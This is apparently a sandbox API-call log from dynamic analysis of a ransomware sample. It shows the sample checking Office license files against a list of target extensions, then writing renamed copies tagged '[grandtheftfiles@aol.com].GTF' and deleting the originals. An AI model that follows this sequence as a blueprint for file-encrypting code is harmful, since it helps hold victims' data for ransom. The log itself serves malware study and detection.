	[0181.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.633] lstrlenW (lpString=".doc") returned 4
	[0181.633] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.633] lstrlenW (lpString=".docx") returned 5
	[0181.633] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.633] lstrlenW (lpString=".pdf") returned 4
	[0181.633] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.633] lstrlenW (lpString=".xls") returned 4
	[0181.633] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.633] lstrlenW (lpString=".xlsx") returned 5
	[0181.633] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.633] lstrlenW (lpString=".ppt") returned 4
	[0181.633] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.634] lstrlenW (lpString=".zip") returned 4
	[0181.634] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString=".rar") returned 4
	[0181.634] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString=".bz2") returned 4
	[0181.634] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString=".7z") returned 3
	[0181.634] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.634] lstrlenW (lpString=".dbf") returned 4
	[0181.634] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.634] lstrlenW (lpString=".1cd") returned 4
	[0181.634] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.634] lstrlenW (lpString=".jpg") returned 4
	[0181.634] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.634] lstrlenW (lpString=".doc") returned 4
	[0181.634] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString=".docx") returned 5
	[0181.634] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.634] lstrlenW (lpString=".pdf") returned 4
	[0181.634] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString=".xls") returned 4
	[0181.634] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString=".xlsx") returned 5
	[0181.634] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.634] lstrlenW (lpString=".ppt") returned 4
	[0181.634] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.634] lstrlenW (lpString=".zip") returned 4
	[0181.634] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.634] lstrlenW (lpString=".rar") returned 4
	[0181.635] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.635] lstrlenW (lpString=".bz2") returned 4
	[0181.635] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.635] lstrlenW (lpString=".7z") returned 3
	[0181.635] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.635] lstrlenW (lpString=".dbf") returned 4
	[0181.635] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.635] lstrlenW (lpString=".1cd") returned 4
	[0181.635] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.635] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ppd.xrm-ms") returned 92
	[0181.635] lstrlenW (lpString=".jpg") returned 4
	[0181.635] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.635] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.635] lstrlenW (lpString="O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 45
	[0181.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.636] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11671) returned 1
	[0181.636] CloseHandle (hObject=0x53c) returned 1
	[0181.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0181.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.637] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.637] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.638] GetLastError () returned 0x0
	[0181.638] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d97, lpOverlapped=0x0) returned 1
	[0181.640] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2da0, lpOverlapped=0x0) returned 1
	[0181.641] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.641] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0181.641] SetEndOfFile (hFile=0x544) returned 1
	[0181.641] CloseHandle (hObject=0x544) returned 1
	[0181.641] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.641] SetEndOfFile (hFile=0x53c) returned 1
	[0181.644] CloseHandle (hObject=0x53c) returned 1
	[0181.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.644] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription3-ul-oob.xrm-ms")) returned 1
	[0181.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.645] lstrlenW (lpString=".doc") returned 4
	[0181.645] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.645] lstrlenW (lpString=".docx") returned 5
	[0181.645] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.645] lstrlenW (lpString=".pdf") returned 4
	[0181.645] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.645] lstrlenW (lpString=".xls") returned 4
	[0181.645] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.645] lstrlenW (lpString=".xlsx") returned 5
	[0181.645] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.645] lstrlenW (lpString=".ppt") returned 4
	[0181.646] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.646] lstrlenW (lpString=".zip") returned 4
	[0181.646] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString=".rar") returned 4
	[0181.646] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString=".bz2") returned 4
	[0181.646] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString=".7z") returned 3
	[0181.646] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.646] lstrlenW (lpString=".dbf") returned 4
	[0181.646] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.646] lstrlenW (lpString=".1cd") returned 4
	[0181.646] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.646] lstrlenW (lpString=".jpg") returned 4
	[0181.646] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.646] lstrlenW (lpString=".doc") returned 4
	[0181.646] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString=".docx") returned 5
	[0181.646] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.646] lstrlenW (lpString=".pdf") returned 4
	[0181.646] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString=".xls") returned 4
	[0181.646] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString=".xlsx") returned 5
	[0181.646] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.646] lstrlenW (lpString=".ppt") returned 4
	[0181.646] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.646] lstrlenW (lpString=".zip") returned 4
	[0181.647] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.647] lstrlenW (lpString=".rar") returned 4
	[0181.647] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.647] lstrlenW (lpString=".bz2") returned 4
	[0181.647] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.647] lstrlenW (lpString=".7z") returned 3
	[0181.647] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.647] lstrlenW (lpString=".dbf") returned 4
	[0181.647] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.647] lstrlenW (lpString=".1cd") returned 4
	[0181.647] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription3-ul-oob.xrm-ms") returned 95
	[0181.647] lstrlenW (lpString=".jpg") returned 4
	[0181.647] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.647] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.647] lstrlenW (lpString="O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 41
	[0181.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.648] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11215) returned 1
	[0181.648] CloseHandle (hObject=0x53c) returned 1
	[0181.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms")) returned 0x220
	[0181.648] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.648] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.649] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0181.649] GetLastError () returned 0x0
	[0181.649] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bcf, lpOverlapped=0x0) returned 1
	[0181.687] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bd0, lpOverlapped=0x0) returned 1
	[0181.688] ReadFile (in: hFile=0x53c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.688] WriteFile (in: hFile=0x544, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x126, lpOverlapped=0x0) returned 1
	[0181.688] SetEndOfFile (hFile=0x544) returned 1
	[0181.688] CloseHandle (hObject=0x544) returned 1
	[0181.688] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.688] SetEndOfFile (hFile=0x53c) returned 1
	[0181.691] CloseHandle (hObject=0x53c) returned 1
	[0181.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-pl.xrm-ms")) returned 1
	[0181.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.836] lstrlenW (lpString=".doc") returned 4
	[0181.836] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.836] lstrlenW (lpString=".docx") returned 5
	[0181.836] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.836] lstrlenW (lpString=".pdf") returned 4
	[0181.836] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.836] lstrlenW (lpString=".xls") returned 4
	[0181.836] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.836] lstrlenW (lpString=".xlsx") returned 5
	[0181.836] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.836] lstrlenW (lpString=".ppt") returned 4
	[0181.836] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.836] lstrlenW (lpString=".zip") returned 4
	[0181.836] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.836] lstrlenW (lpString=".rar") returned 4
	[0181.836] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.836] lstrlenW (lpString=".bz2") returned 4
	[0181.837] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString=".7z") returned 3
	[0181.837] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.837] lstrlenW (lpString=".dbf") returned 4
	[0181.837] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.837] lstrlenW (lpString=".1cd") returned 4
	[0181.837] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.837] lstrlenW (lpString=".jpg") returned 4
	[0181.837] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.837] lstrlenW (lpString=".doc") returned 4
	[0181.837] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString=".docx") returned 5
	[0181.837] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.837] lstrlenW (lpString=".pdf") returned 4
	[0181.837] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString=".xls") returned 4
	[0181.837] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString=".xlsx") returned 5
	[0181.837] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.837] lstrlenW (lpString=".ppt") returned 4
	[0181.837] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.837] lstrlenW (lpString=".zip") returned 4
	[0181.837] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString=".rar") returned 4
	[0181.837] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString=".bz2") returned 4
	[0181.837] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.837] lstrlenW (lpString=".7z") returned 3
	[0181.837] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.838] lstrlenW (lpString=".dbf") returned 4
	[0181.838] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.838] lstrlenW (lpString=".1cd") returned 4
	[0181.838] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-pl.xrm-ms") returned 91
	[0181.838] lstrlenW (lpString=".jpg") returned 4
	[0181.838] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.838] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.838] lstrlenW (lpString="O365SmallBusPremR_Subscription4-ul-oob.xrm-ms") returned 45
	[0181.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.839] GetFileSizeEx (in: hFile=0x504, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11671) returned 1
	[0181.839] CloseHandle (hObject=0x504) returned 1
	[0181.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms")) returned 0x220
	[0181.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.839] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.840] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subscription4-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0181.840] GetLastError () returned 0x0
